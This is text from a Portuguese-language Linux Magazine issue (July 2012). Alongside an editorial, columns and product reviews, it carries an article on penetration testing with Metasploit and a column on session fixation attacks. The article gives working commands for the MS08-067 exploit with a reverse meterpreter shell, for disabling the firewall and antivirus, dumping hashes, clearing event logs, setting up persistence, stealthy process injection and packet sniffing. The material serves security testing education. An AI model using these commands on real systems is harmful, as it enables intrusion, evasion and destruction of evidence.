Lm 92 ce

Page 1


Banco nebuloso

Expediente editorial Diretor Geral Rafael Peregrino da Silva rperegrino@linuxmagazine.com.br

Kemel Zaidan kzaidan@linuxmagazine.com.br Laura Loenert Lopes llopes@linuxmagazine.com.br Editora de Arte Larissa Lima Zanini llima@linuxmagazine.com.br Editor Online Felipe Brumatti Sentelhas fsentelhas@linuxmagazine.com.br Colaboradores Alexandre Borges, Alexandre Santos, Antonio Carlos Navarro, Augusto Campos, Charly Kühnast, David Dodd, Dennis Schreiber, Dmitri Popov, Gerhard Martin Loschwitz, James Dade, Jon ‘maddog’ Hall, Klaus Knopper, Kurt Seifried, Markus Feilner, Oliver Frommel, Ralf Spenneberg, Werner Fischer, Zack Brown. Tradução Emerson Satomi, José Eduardo Campos Nogueira, Rodrigo Garcia, Sebastião Luiz da Silva Guerra. Revisão Amauri Dantas de Oliveira. Editores internacionais Uli Bantle, Andreas Bohle, Jens-Christoph Brendel, Hans-Georg Eßer, Markus Feilner, Oliver Frommel, Marcel Hilzinger, Mathias Huber, Anika Kehrer, Kristian Kißling, Jan Kleinert, Daniel Kottmair, Thomas Leichtenstern, Jörg Luther, Nils Magnus. Anúncios: Rafael Peregrino da Silva (Brasil) anuncios@linuxmagazine.com.br Tel.: +55 (0)11 3675-2600 Penny Wilby (Reino Unido e Irlanda) pwilby@linux-magazine.com Amy Phalen (América do Norte) aphalen@linuxpromagazine.com Hubert Wiest (Outros países) hwiest@linuxnewmedia.de Diretor de operações Claudio Bazzoli cbazzoli@linuxmagazine.com.br Na Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linuxpromagazine.com – América do Norte Apesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais imprecisões nela contidas ou por consequências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor. Nenhum material pode ser reproduzido em qualquer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, sejam fornecidos para publicação ou licenciamento a terceiros de forma mundial não-exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado. Linux é uma marca registrada de Linus Torvalds. Linux Magazine é publicada mensalmente por: Linux New Media do Brasil Editora Ltda. Rua São Bento, 500 Conj. 802 – Sé 01010-001 – São Paulo – SP – Brasil Tel.: +55 (0)11 3675-2600 Direitos Autorais e Marcas Registradas © 2004 - 2012: Linux New Media do Brasil Editora Ltda. Impressão e Acabamento: IBEP Gráfica. Atendimento Assinante www.linuxnewmedia.com.br/atendimento São Paulo: +55 (0)11 3675-2600 Rio de Janeiro: +55 (0)21 3512 0888 Belo Horizonte: +55 (0)31 3516 1280 ISSN 1806-9428

Linux Magazine #92 | Julho de 2012

Impresso no Brasil

Em diversas palestras realizadas nos últimos dois anos sobre o tema Cloud Computing pelo autor destas mal-digitadas linhas, questões das mais diversas ordens são levantadas pela audiência, mas a tônica inicial e preponderante é sempre a mesma: como fica a segurança em ambientes de Computação em Nuvem? Seja essa questão referente à segurança contra ataques, seja ela relativa ao acesso indevido (ou prejudicado, pela falta de um link de Internet confiável), seja ela por conta do risco da perda dos dados, esperamos por essa pergunta com o dedo na tecla que avança para o próximo slide da apresentação utilizada durante a palestra. Já lançamos mão de diversas analogias para explicar a questão da segurança nesse tipo de ambiente computacional, mas recentemente uma imagem inequívoca nos foi fornecida por um dos membros da equipe de desenvolvimento do projeto OpenStack: a do banco. O leitor já parou para pensar que a operação de um ambiente de computação em nuvem é, pelo menos conceitualmente, muito similar à operação de um banco? Ela precisa de segurança total contra acesso indevido, contra manipulação e/ou perda de dados bancários, contra invasões de indivíduos mal intencionados etc. Mas, apesar disso, qualquer caixa de banco tem acesso ao saldo bancário dos clientes, à sua carteira de investimentos, ao seu escore de crédito – via SERASA ou SPC – a seus financiamentos etc. E o cliente sabe e vive com isso, certo? Que se saiba, pouca gente ainda guarda dinheiro debaixo do colchão no mundo dito “civilizado”. Pois bem: no caso das ofertas de Cloud pública, a situação é exatamente a mesma. Por que a desconfiança neste último caso, então? A resposta pura e simples é: ignorância (no sentido de desconhecimento). Tal como no banco, os dados ficariam – pelo menos teoricamente – à disposição dos operadores em um provedor de Cloud pública, que poderia abusar de suas prerrogativas de administrador de sistemas e espiar o que o cliente está armazenando nos servidores contratados. Aqui temos uma boa notícia para dar: sistemas como o Tahoe-LAFS e mesmo o OpenStack Swift dão conta de manter a confiabilidade e a segurança de dados distribuídos em diversas instâncias da nuvem. Assim, o problema da segurança não é tecnológico: da mesma forma que no caso do banco, o que conta é o contrato de nível de serviços com o provedor ou prestador de serviços de Cloud. Quando computamos os custos de aquisição e manutenção de uma infraestrutura básica de TI, levando em consideração questões como refrigeração, fornecimento de energia e backup, todos contingenciados, além do gasto com pessoal especializado, seja ele terceirizado ou não, além das questões tributárias inerentes a todos os itens acima, percebe-se claramente que, para a micro, pequena e média empresa, vale muito a pena lançar mão dos recursos da nuvem: na verdade, uma migração para essa modalidade de computação tornou-se praticamente uma obrigação – desde que se tenha em mãos um contrato decente com um provedor respeitável desse tipo de serviço. Encontrar esse fornecedor de serviços e manter um contrato de terceirização da infraestrutura de TI funcionando corretamente deverá se tornar em breve uma das tarefas mais importantes do gestor de informática das empresas. Vai esperar os dados que você tem debaixo do colchão desaparecerem? ■

EDITORIAL

Editores Flávia Jobstraibizer fjobs@linuxmagazine.com.br

Rafael Peregrino da Silva Diretor de Redação

3


ÍNDICE

CAPA Universo virtual

29

Alguns usuários ainda não percebem a diferença do uso de um sistema virtualizado ou fisicamente instalado.

O poder dos ambientes virtuais

30

Dias em que os administradores de sistemas eram obrigados a gerenciar máquinas virtuais no console se foram. Concorrentes da VMware e da Citrix oferecem agora interfaces gráficas igualmente sofisticadas para esta finalidade. Uma alternativa promissora é o oVirt da Red Hat.

Sob medida

36

O VMware vSphere ainda é a solução de virtualização mais abrangente e fácil de instalar, com opção a partir de um pendrive.

Feito em casa

40

Com ferramentas em linha de comando e alguns scripts que você mesmo pode fazer, é possível clonar e administrar máquinas virtuais facilmente.

Tecnologia verde

44

A SUSE entra na disputa pela nuvem com um produto baseado no OpenStack que se integra com o SUSE Linux Enterprise Server e ainda vem com aplicativo administrativo para Android.

4

www.linuxmagazine.com.br


Linux Magazine 92 | ÍNDICE

ANÁLISE

COLUNAS Klaus Knopper

08

Charly Kühnast

10

Augusto Campos

12

Alexandre Borges

14

Zack Brown

16

Kurt Seifried

18

NOTÍCIAS Geral

58

Conheça o PowerLinux 7R2, um servidor dedicado apenas a executar sistemas operacionais Linux. 22 Entrega de pacotes

➧ Skype ganha nova versão para Linux

62

Mantenha sua rede atualizada com o Satellite Server – um sistema de gerenciamento de correções e atualizações para ambientes corporativos, intimamente vinculado ao serviço de atualização prolífico da Red Hat.

➧ S3, serviço de armazenamento em nuvem da Amazon, atinge 1 trilhão de arquivos ➧ Oracle anuncia as certificações Oracle Linux 6 e Red Hat Enterprise Linux 6 ➧ Adobe cria um portal com seus projetos abertos

TUTORIAL

CORPORATE Notícias

Força extra para o Linux

Ambiente virtual

72

24

➧ Torvalds e Yamanaka dividem o Millenium Technology Prize ➧ Linux continua a dominar a lista dos 500 supercomputadores ➧ Cinco novos afiliados à OSI ➧ Marinha dos Estados Unidos troca Windows por Linux Coluna: Jon “maddog” Hall

26

Coluna: Alexandre Santos

28

ANDROID Droid trancado

48

O cmdfs cria sistemas de arquivos virtuais baseados em uma árvore de diretórios original e possui integração com outros programas para converter dados em tempo real. Conheça todo o poder desse sistema. Repositórios sob controle

75

O Git, obra de Linus Torvalds, conquistou os desenvolvedores como gerenciador de versões de código. Conheça duas abordagens para colaboração em grupos de trabalho, onde você pode configurar facilmente seu próprio servidor Git para armazenar seus repositórios.

REDES Esteja no comando

69

Ainda experimental, mas promissor, o framework SEAndroid oferece controle de acesso mandatário ao estilo SELinux para o universo Android.

SEGURANÇA Inimigo à espreita

53

O novo cgroups oferece uma abordagem administrativa para a restrição do uso de recursos. É uma ferramenta muito importante para uso em sistemas virtualizados.

SERVIÇOS

O Metasploit ajuda a enxergar sua rede da forma como um invasor a veria. Descubra como é fácil desarmar suas próprias defesas.

Linux Magazine #92 | Julho de 2012

Editorial

03

Emails

06

Linux.local

78

Preview

82

5


Coluna do Augusto

COLUNA

Secure Boot: seguro para quem? O já polêmico UEFI, deve virar realidade em breve. Entenda a validade deste recurso.

Q

ual o melhor caso no suporte a um determinado dispositivo por parte de um sistema operacional livre: aceitar ter liberdade pela metade ou renunciar a suportá-lo? É esse o dilema com o qual tudo indica que desenvolvedores e distribuições Linux terão que se deparar na hora de decidir o que fazer quanto aos computadores certificados para Windows 8, que devem começar a chegar ao varejo nos próximos meses. A razão é uma nova arquitetura de restrições, denominada Secure Boot , implementada no firmware destes equipamentos e que rejeitará, em sua configuração padrão, inicializar sistemas operacionais que não tenham sido assinados digitalmente com uma chave previamente aprovada – pela Microsoft, neste caso. Para o usuário avançado, espera-se que haja (ao menos na categoria PC – nos tablets a questão é ainda mais restritiva) a alternativa de acessar o menu de configuração do hardware e, de alguma forma escolhida por cada fabricante, desativar o Secure Boot ou mesmo cadastrar uma chave adicional que permita executar os programas de sua preferência, caso ele tenha condições de obtê-los assinados ou mesmo providenciar a sua assinatura. Mas para o “usuário final”, ou para quem deseja oferecer suporte a ele, este tipo de situação pode ser uma barreira intransponível, especialmente considerando que cada fabricante de computadores pode definir seu próprio procedimento de desativação diferentemente dos demais, o que complica algo que já não é simples: a tarefa de documentar e suportar o procedimento para quem nunca alterou este tipo de configuração.

12

Não é propriamente uma novidade: com nomes como TCPA, Palladium e outros, as tentativas de restringir desde antes do boot os softwares que poderiam ser executados em um determinado computador datam de décadas anteriores, e hoje são inclusive comuns em outras plataformas, incluindo smartphones e tablets. A diferença é que desta vez a tentativa está mesmo se convertendo em produto final, e este produto será exigido nos equipamentos certificados para a nova versão do sistema operacional mais popular no desktop. E a pergunta trazida na abertura desta coluna já começou a vir à baila e certamente virá mais vezes, no âmbito das distribuições. A Red Hat já confirmou, por exemplo, que optará pela primeira alternativa, comprando as chaves criptográficas da Microsoft necessárias para fazer com que o Fedora possa ser instalado e inicializado nos computadores com esta restrição. Certamente haverá também quem irá decidir que este tipo de acordo endossa uma restrição inaceitável, e assim optará por não adquirir a chave. A estes, ainda restarão opções, como tentar instruir os usuários deste tipo de equipamento interessados em seus produtos sobre como fazer a instalação, ou mesmo negar o suporte à execução nestas plataformas. De uma forma ou de outra, este é um dilema que seria melhor não ter, e sua existência, no plano da realidade de mercado, é um lamentável marco na trajetória da plataforma PC. ■ Augusto César Campos é administrador de TI e, desde 1996, mantém o site BR-linux.org, que cobre a cena do Software Livre no Brasil e no mundo.

www.linuxmagazine.com.br


Os maiores nomes do mercado internacional de Cloud Computing

Em uma conferência recheada de negócios, oportunidades e informações

CloudConf Dias 07 e 08 de agosto de 2012, no Centro Fecomércio de Eventos em São Paulo. Inscrições abertas!

www.cloudconf.com.br Alguns dos destaques confirmados: Rodrigo Campos

Gilberto Mautner

Diretor de Produtos do UOL Host e Vice-Presidente do CMG Brasil.

Diretor Executivo (CEO) da Locaweb, graduado pelo ITA.

Cezar Taurion

José Papo

Paulo Pagliusi, Ph. D.

Gerente de Novas Tecnologias Aplicadas/Technical Evangelist da IBM Brasil.

Tech Evangelist da Amazon Web Services para a América Latina.

Diretor da Cloud Security Alliance — Brazil Chapter. Ph.D. em Segurança da Informação.

Marco Sinhoreli

Rafael Moreira

Especialista em virtualização da Globo.com e fundador da comunidade Xen-BR.

Coordenador-Geral de Software e Serviços de TI da Secretaria de Política de Informática do MCTI.

Patrocínio Diamond

Apoio institucional instituciona

Mídia oficial

Organização

Promoção

Apoio de mídia

computação e tecnologia

Linux Magazine #88 | Março de 2012

13


Coluna do Alexandre Borges

COLUNA

Ataque de fixação de sessão Como a captura e uso de identificadores de sessão podem ser utilizados por crackers para tomar a identidade de um usuário.

H

á duas colunas atrás, expliquei o ataque de sequestro de sessão e expus o porquê de ele ser tão perigoso. Na ocasião, ficou claro que o session ID (identificador de sessão) do usuário é uma informação valiosa e, sem dúvidas, seria o alvo da busca de um cracker. O sequestro de sessão tem por característica ser um ataque realizado após o usuário (através do navegador) realizar um login (autenticação) em um serviço web (uma loja virtual, por exemplo), onde o cracker sequestra aquela sessão específica (se, em um momento posterior, ele realizar o sequestro de uma nova sessão, necessitará executar um novo ataque), muito fácil de manter (uma vez que a sessão foi conquistada, não é preciso realizar qualquer procedimento adicional) e onde é possível utilizar diversas técnicas para realizá-lo, tais como obter o session ID do cabeçalho Referer do protocolo HTTP, capturar o session ID através do uso de um sniffer (como o Wireshark) ou ainda através do uso de um ataque de cross-site scripting (XSS), para citar apenas alguns. Dado o exposto acima, é curioso perguntar: e se o ataque, ao contrário do sequestro de sessão, ocorresse antes de o usuário autenticar-se em um site? De fato, como muitos analistas de segurança estão preocupados em não deixar que um cracker intercepte o session ID (que muitas vezes está embutido no cookie), nem o adivinhe (eventualmente aproveitando a formação de um session ID curto ou previsível) ou ainda lance um ataque de força bruta, ocasionalmente os crackers escolhem um caminho mais interessante, que é impor para a vítima o session ID que será utilizado e, com isto, não ter o trabalho de capturá-lo novamente depois que a sessão já estiver estabelecida. Mais fácil? Não necessariamente. Talvez apenas uma outra maneira de conseguir acesso sem autenticação, usando as mesmas credenciais da vítima e estando livre para fazer o que bem entender. Este ataque é chamado de Fixação de Sessão (session fixation attack).

14

Uma das vulnerabilidades que possibilitam este ataque de fixação de sessão é o fato de que muitos servidores (ou aplicativos) web atribuem um session ID (através da URL, formulários ocultos ou cookies) para o usuário no início da sessão e, após este usuário autenticar-se, manterem este session ID (que acaba servindo como credencial de login) inalterado, ao invés de criar um novo que represente a sessão do usuário após o login. Pior ainda: muitos profissionais acreditam que a criptografia é uma saída para deter um ataque de fixação de sessão. Não é, pois o cracker não está interessado em roubar ou ver (através de um sniffer) o session ID e sim impor um session ID de sua conveniência, e para fazer isso, tanto faz se a sessão está criptografada ou não. O cracker executa um ataque de fixação de sessão impondo um session ID ao usuário antes que ele realize a autenticação em um site. Basicamente, o cracker pode se autenticar no site-alvo com seu próprio login e senha, e com isso, obter um session ID. Depois disso, a tarefa do cracker é impor este session ID (que é válido) para o navegador da vítima. Assim, quando a vítima se conectar ao site, abrirá uma sessão usando o session ID que foi imposto pelo cracker, faz a autenticação (usuário e senha), o que fatalmente irá vincular o status “autenticado” ao session ID fornecido pelo cracker (possivelmente através de um cookie) e pronto, o ataque já foi feito! Lembre-se de que o cracker impôs o session ID à vítima antes de ela estabelecer a sessão e, por isso, basta que o cracker use o mesmo session ID e se conecte ao site-alvo. Como este session ID já representa alguém (a vítima) autenticado, o cracker poderá fazer qualquer coisa como se fosse a vítima, sem a necessidade de autenticar-se. Este ataque é muito interessante e vistoso, entretanto preciso fazer algumas obervações úteis. O cracker não necessita ter um login e senha válidos no site-alvo. Ele poderia tentar inferir como o session ID é criado e moldar uma credencial de autenticação apropriada para a

www.linuxmagazine.com.br


situação, contudo isso dá muito trabalho e nem sempre é possível (imagine um session ID de formato muito longo). Outro problema desta abordagem é que muitos servidores web não aceitam um session ID imposto, e sim apenas um que anteriormente já tenha sido criado pelo próprio servidor. Depois que este obstáculo foi superado, o cracker deve lembrar que muitos session ID estão sujeitos a timeout (expiração) por inatividade, o que forçará o cracker a ter que utilizar algum método para “quebrar” esta ociosidade e manter o session ID válido. Outro ponto que surge como dúvida é: como o cracker pode impôr o session ID para a vítima? Por diversos meios: enviando um e-mail para a vítima com um link (http://www.exemplo.com.br/auth.asp?session=8549) e enganando-a para que que ela clique no link e autentique-se por ele (tome como exemplo os spams que você recebe diariamente usando a mesma técnica). Outro modo de se atingir o mesmo objetivo é enviando um link modificado, porém realizando um ataque de XSS e, com isso, executando no ambiente do usuário um script que apresenta para o usuário um formulário com campos de usuário e senha para o site-alvo (obviamente, com o session ID associado a um campo oculto). Aliás, mais fácil ainda é, através do mesmo ataque de XSS,

Linux Magazine #90 | Maio de 2012

executar um ataque que cria um cookie persistente na máquina do usuário (por quanto tempo for necessário), contendo o session ID desejado e ainda válido para todo o domínio-alvo, e não apenas para aquela página em específico). Definitivamente, existem outras formas de realizar o mesmo ataque, todavia acredito que o leitor já tenha compreendido a ideia. Existem maneiras de impedir este ataque? Claro! Como já mencionei, uma delas é trocar o session ID após o usuário autenticar-se. Outra excelente opção é estabelecer um timeout para cookies. Uma outra medida de proteção é forçar que os servidores web somente aceitem cookies gerados anteriormente por eles mesmos, sem permitir que sejam impostos pelo navegador e ainda dentro de uma faixa de tempo. E, por fim, certamente o método mais importante é educar os usuários com medidas básicas de segurança para evitar que qualquer ataque tenha sucesso ou chance de evoluir. Até o mês que vem! ■ Alexandre Borges (alex_sun@terra.com.br) é instrutor independente e ministra regularmente treinamentos de tecnologia Oracle (áreas de Solaris, LDAP, Cluster, Containers/OracleVM, MySQL, e Hardware), Symantec (Netbackup, Veritas Cluster,Backup Exec, Storage Foundation e SEP) e EC-Council (CEH e CHFI), além de estar sempre envolvido com assuntos relacionados ao kernel Linux.

15


Matéria Matéria éri ria | S SEÇÃO EÇÃ EÇ EÇÃO ÇÃO ÇÃ

Virtualização

SEÇÃO S EÇÃO

Universo virtual Alguns usuários ainda não percebem a diferença do uso de um sistema virtualizado ou fisicamente instalado. por Flávia Jobstraibizer

H

á algum tempo atrás, em conversa com alguns leitores da revista, me deparei com alguns questionamentos interessantes. Um deles me contou como era, basicamente, a estrutura de máquinas clientes e servidores da empresa onde foi recentemente contratado. Compreendendo esta estrutura, questionei sobre a quantidade de máquinas físicas instaladas no data center da empresa, o que me foi respondido com uma estrutura enxuta perto da quantidade de máquinas clientes e “servidores” mencionados por ele. Boa parte dos ambientes que esta estrutura possuía eram virtualizados, porém o usuário não sabia disso. As máquinas que ele chamava de “servidor de email”, “servidor de backup”, “servidor de dados” e algumas outras, estavam virtualizadas em um servidor físico central com RAID5, através de VirtualBox. O que realmente me surpreendeu, foi a surpresa do usuário quando soube que trabalhava em um ambiente totalmente virtualizado, o que também gerou uma série de outras questões: “Então está tudo em uma máquina só? Como é que cada servidor deste recebe um IP único?”, entre outras. Resumindo, noto que boa parte dos usuários que utilizam sistemas virtualizados, não entendem muito bem como funciona a virtualização

Linux Magazine #XX | Mês de 200X 200

e consequentemente, a computação em nuvem. Não acho que isso seja um problema. A transparência da tecnologia lhe permite isso: ser tão fácil de usar quanto um servidor físico instalado ao lado do usuário. Porém, penso ainda sobre como as empresas estão vendo a virtualização. Será que os CIOs, CEOs, gestores, coordenadores, administradores, gerentes de TI e tantas outras mentes por trás dos departamentos de tecnologia das empresas realmente conseguem ver os reais benefícios da virtualização? Pensando nisso, levanto a sugestão e recomendo que esses profissionais compareçam à CloudConf Brasil 2012 [1]. Nesta conferência, serão abordados temas pertinentes da virtualização e computação em nuvem, auxiliando na tomada de decisão e melhor escolha do ambiente virtualizado e esclarecendo mitos e tabus sobre a tecnologia. No evento haverá um painel de debates, onde usuários poderão debater com especialistas suas dúvidas sobre computação em nuvem. Nesta edição da Linux Magazine, vamos nos aprofundar mais no mundo da virtualização através de artigos que mostram novas tecnologias, como o SUSE Cloud e tecnologias que estão em pleno crescimento, como o oVirt, da Red Hat. Boa leitura! ■

Mais informações [1] CloudConf Brasil 2012: http://www.cloudconf.com.br/

Matérias de capa O poder dos ambientes virtuais

30

Sob medida

36

Feito em casa

40

Tecnologia verde

44

29 9


Agora você tem o controle sobre o desempenho do seu negócio sempre à sua mão. Compras

Finanças

Estoques

NF-e

Vendas Fornecedores Clientes

ERP – SISTEMA DE GESTÃO

Solução completa hospedada em nuvem (Cloud Computing)

A micro e pequena empresa ganha uma solução de classe mundial de sistemas de gestão ERP no modelo comercial com a melhor relação custo/benefício. O Kontroller dispensa aquisição de hardware, licenças de software, técnicos de suporte ou sistema de backup. Garante alta disponibilidade e oferece fácil acesso via browser.

Saiba mais em: www.vectory.com.br/kontroller +55 11 3104 6652

SOFTWARE


Testes de vulnerabilidade com Metasploit | SEGURANÇA

Testes de vulnerabilidade com Metasploit

SEGURANÇA

Inimigo à espreita Saiba como o invasor visualiza a sua rede e descubra como é fácil desarmar suas próprias defesas com Metasploit. por David J. Dodd

O

framework Metasploit [1] é uma caixa de ferramentas para testes de invasão, uma plataforma para desenvolvimento de exploits (programas que exploram vulnerabilidades), além de uma ferramenta de pesquisa. Inclui centenas de exploits remotos funcionais para diversas plataformas. Ao misturar e combinar payloads, encoders e geradores de NOP slide [2] com módulos exploit, é possível solucionar quase todas as tarefas relacionadas a exploits. Neste artigo, vamos guiá-lo no uso da última versão do plugin Nessus em um teste de invasão. Descubra como consultores de segurança usam o Metasploit para sondar e invadir um sistema real; e veja

algumas dicas úteis sobre o framework para conseguir escalonar privilégios. Por exemplo, não seria ótimo ter um Shell em outro computador para o caso de perder seu acesso Shell?

Integração do Nessus 5 Com o lançamento da ferramenta de detecção de vulnerabilidades de configuração Nessus 5, da Tenable Network Security, usuários agora têm melhores filtros, análise e relatórios, assim como detecção mais rápida de problemas de segurança. O plugin Metasploit Nessus permite selecionar apenas as verificações que abrangem vulnerabilidades que estão no Metasploit.

Figura 1 Abra o navegador em https://localhost:8834.

Linux Magazine #92 | Julho de 2012

Para começar, entre no site da Tenable [3], baixe o Nessus 5 e o instale. A nova instalação vai residir em /opt/nessus e subscreverá qualquer instalação Nessus prévia. Inicie o daemon nessus e abra o navegador em https://localhost:8834 . Faça login, vá até Policies e clique em Add (figura 1). Dê um título para sua política e clique em Next. Na página Credentials, deixe as definições-padrão e clique em Next, embaixo. A página Plugins possibilita adicionar um filtro. Um menu drop-down apresenta diversas opções de escolha (garanta que as opções is equal to e true estejam selecionadas e clique em Save – figura 2). Depois, desabilite todos os plugins, selecione a família de plugins que quer habilitar e clique em Enable Plugins no canto superior direito do painel. Faça isso para todos os plugins que quiser habilitar, então clique em Submit, logo abaixo. Para começar uma verificação, clique em Scans. Nomeie a veri-

53


SEGURANÇA | Testes de vulnerabilidade com Metasploit

ficação e digite run now, scheduled ou template. No menu Policy, escolha a política que foi criada, depois selecione um alvo. Agora inicie uma verificação – o tempo requerido para executar isso será surpreendentemente breve. Posteriormente é enviado um relatório que lista Plugin ID, Count,

Severity, Name e Family para cada plugin relacionado ao Metasploit (figura 3). A coluna Name informa quais exploits Metasploit têm mais chance de um ataque bem sucedido no sistema sendo testado. Para iniciar uma verificação no próprio framework Metasploit, ini-

cie o console msfconsole e carregue o Nessus com o comando: msf > load nessus

Quando os plugins forem carregados, conecte com o servidor: msf > nessus_connect cr0wn:password@localhost ok

Agora, mostre os plugins disponíveis com o comando nessus_policy_list (figura 4). Use uma política para realizar um scan na rede com o comando nessus_ scan_new, acrescentando o ID da política, o nome da verificação e o intervalo-alvo de IPs. Por exemplo, o comando nessus_scan_new 5 windozxp 10.10.3.219

Figura 2 Opções de exploits disponíveis.

Figura 3 Um relatório informa qual exploit Metasploit pode ser usado efetivamente contra o sistema em questão.

vai mirar em uma única máquina Windows XP com o endereço IP 10.10.3.219 (figura 5). Se estiver conectado com um banco de dados dentro do framework Metasploit, abra uma visualização dos dados a partir do console; ou visualize os dados em um navegador. Agora podemos selecionar um exploit para usar no sistema-alvo. Digamos que quero usar a falha MS08067, que vai obter um acesso Shell no computador-alvo. Para conseguir isso, faço o seguinte: msf > use exploit/windows/smb/ ms08_067_netapi msf > set payload U windows/meterpreter/reverse_tcp msf > set lhost 10.10.3.218 msf > set lport 5555 msf > set rhost 10.10.3.188 msf > exploit meterpreter >

Comandos úteis

Figura 4 Carregamento do Nessus (topo) e listagem das políticas disponíveis.

54

Agora que tenho um acesso Shell na máquina Windows, há diversas opções para serem exploradas. Por exemplo, posso verificar se o computador-alvo é uma máquina virtual ou se existe um antivírus sendo executado. Também posso ver como é a subrede local e que tipo de configuração de segurança existe no sistema-alvo. O

www.linuxmagazine.com.br


Testes de vulnerabilidade com Metasploit | SEGURANÇA

Metasploit vem com alguns scripts úteis para executar essas tarefas. meterpreter > run checkvm

O próximo comando mostra o menu de ajuda com opções: meterpreter > run getcountermeasure -h

Use -d para desabilitar o firewall embutido: meterpreter > run getcountermeasure -d

Para matar a maioria dos programas antivírus, execute o script killav: meterpreter > run killav

Para identificar a máscara de subrede local, execute get_local_subnets:

Figura 5 Conexão com o servidor (topo), lista de políticas (meio) e início de uma verificação com o comando nessus_scan_new (embaixo).

meterpreter > run get_local_subnets

Pesquise o host por dados interessantes, como uma lista de arquivos por tipo (*.pdf, *.txt, *.doc, *.jpg etc). Para isso, use a função search: meterpreter > search -h meterpreter > search -f *.pdf

Para obter dados detalhados sobre o sistema, use os scripts winenum e scraper. O winenum faz um dumping com tokens e hashes, fornecendo muitos dados (figura 6). O script scraper colhe os dados do registro e do sistema: meterpreter > run winenum meterpreter > run scraper

Agora vamos apagar os arquivos de log. Para fazer isso, abra o menu do Meterpreter com o comando irb. Depois, dispare os seguintes comandos: meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client >> log = client.sys.eventlog. open('system') >> log.clear

Ao fazer isso, irei mais adiante e apagarei os logs de segurança e aplicativos, mudando system nesses comandos por security e application, respectivamente.

Linux Magazine #92 | Julho de 2012

Figura 6 Dumping de hashes e tokens com o comando winenum.

55


SEGURANÇA | Testes de vulnerabilidade com Metasploit

terpreter persistence (para uma lista de opções, use a opção -h): Meterpreter > run persistence -h Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180

Esse comando joga uma sessão meterpreter em um sistema remoto (com -r 10.10.3.180) em um intervalo de cinco segundos (-i 5), na porta 5555 (-p 5555); em seguida, essa sessão é carregada e executada (-x) cada vez que a máquina inicia. O receptor aguarda pelo Shell Meterpreter usando o módulo exploit multi/handler: Figura 7 Procure processos que não vão atrair nenhuma atenção.

Poder passar um Shell meterpreter para membros da equipe com os quais o teste estiver sendo executado é valioso. Essa opção não havia se apresentado a mim até que fiz um curso na Industrial Control Systems Advanced Cybersecurity, o qual foi ministrado pela US-CERT [4]. Recomendo que qualquer pessoa que trabalhe na área de sistemas ICS/SCADA faça esse curso. Um

dia, houve um exercício de 12 horas em que os participantes atacavam (time vermelho) ou defendiam (time azul). Eu estava no time vermelho, e ter a habilidade de passar Shells meterpreter para meus colegas de time foi útil. No restante deste artigo, irei mostrar alguns exemplos de como compartilhar um Shell Meterpreter. No primeiro exemplo, uso o script me-

msf > use multi/handler msf > set payload windows/ meterpreter/reverse_tcp msf > set lhost 10.10.3.180 msf > set lport 5555 msf > exploit

O segundo exemplo é um pouco mais furtivo e pode injetar seu Shell Meterpreter em um processo existente. Após executar o comando ps a partir do Meterpreter, obtenha uma lista de processos ativos. Examine a lista e procure processos que não vão atrair atenção, como IEXPLORER.EXE PID 3664 (figura 7). Injetar o Shell Meterpreter no processo IEXPLORE.EXE seria bem furtivo. Usarei o comando multi_meter_inject com as seguintes opções: meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664

Figura 8 O comando tasklist não revela nenhuma evidência da invasão.

56

Esse comando lança uma sessão meterpreter para um sistema remoto (-mr) 10.10.3.180, na porta (-p) 3664. O recipiente estaria esperando pelo Shell usando o multi/handler, apenas trocando lport para 3664. Agora, ao executar análises básicas na máquina da vítima, execute tasklist e nada vai parecer fora de lugar (figura 8), mas ao executar netstat -an, será exibida uma conexão externa (figura 9). Uma terceira maneira de enviar Shells meterpreter é usando o script

www.linuxmagazine.com.br


Testes de vulnerabilidade com Metasploit | SEGURANÇA

meterpreter duplicate. No prompt meterpreter, digite: meterpreter > run duplicate -h

Esse comando fornece diversas opções, e o comando a seguir envia um Shell Meterpreter ao endereço 10.10.3.180 na porta-padrão 4546 (figura 10): meterpreter > run duplicate -r 10.10.3.180

É possível executar um farejador de pacotes na sistema-alvo após compartilhar um Shell Meterpreter com um parceiro. Esse script meterpreter é chamado de packetrecorder, sendo mais granular ao capturar pacotes: meterpreter > run packetrecorder

Para determinar a interface a ser monitorada, use o comando run packetrecorder -li. Ele lista interfaces de rede; escolha uma interface e um destino para gravar o arquivo: meterpreter > run packetrecorder -i -l /home/tmp/ [*] Packet capture interval is 30 seconds

Você pode analisar o arquivo depois com o Wireshark ou tcpdump. ■

Mais informações [1] Metasploit: http://www. metasploit.com/

Figura 9 O comando netstat -an revela evidências de uma conexão estranha.

[2] NOP slide: http:// en.wikipedia.org/ wiki/NOP_slide [5] Tenable: http://www. tenable.com/products [6] US-CERT: http:// www.us-cert.gov/

Gostou do artigo? igo? Queremos ouvir sua opinião. pinião. Fale conosco em m cartas@linuxmagazine.com.br zine.com r Este artigo no nosso sso site: s e: http://lnm.com.br/article/7151 r/artic 715

Linux Magazine #92 | Julho de 2012

Figura 10 Inicialização de um shell meterpreter com o script duplicate.

57


ANÁLISE | PowerLinux 7R2

IBM PowerLinux

ANÁLISE

Força extra para o Linux Conheça o PowerLinux 7R2, um servidor dedicado a executar apenas sistemas operacionais Linux. por Antonio Carlos Navarro

M

uitas empresas têm encontrado no ecossistema Linux a simplicidade e isonomia de aplicativos, redução de custos de licenciamento/manutenção e operação e maior facilidade de integração. Este fato exige um forte amadurecimento no uso do Linux. Além da escolha do aplicativo, critérios de infraestrutura são fundamentais, como desempenho, arquitetura RAS (Remote Access Service, ou serviço de acesso remoto, em português) orientada a maior disponibilidade, confiabilidade, segurança etc. De olho nessa necessidade, a Big Blue anunciou em abril de 2012 um novo modelo para sua família de servidores RISC (Reduced Instruction Set Computer ou computador com conjunto reduzido de instruções, em português): o PowerLinux 7R2, dedicado apenas a executar sistema operacional Linux.

58

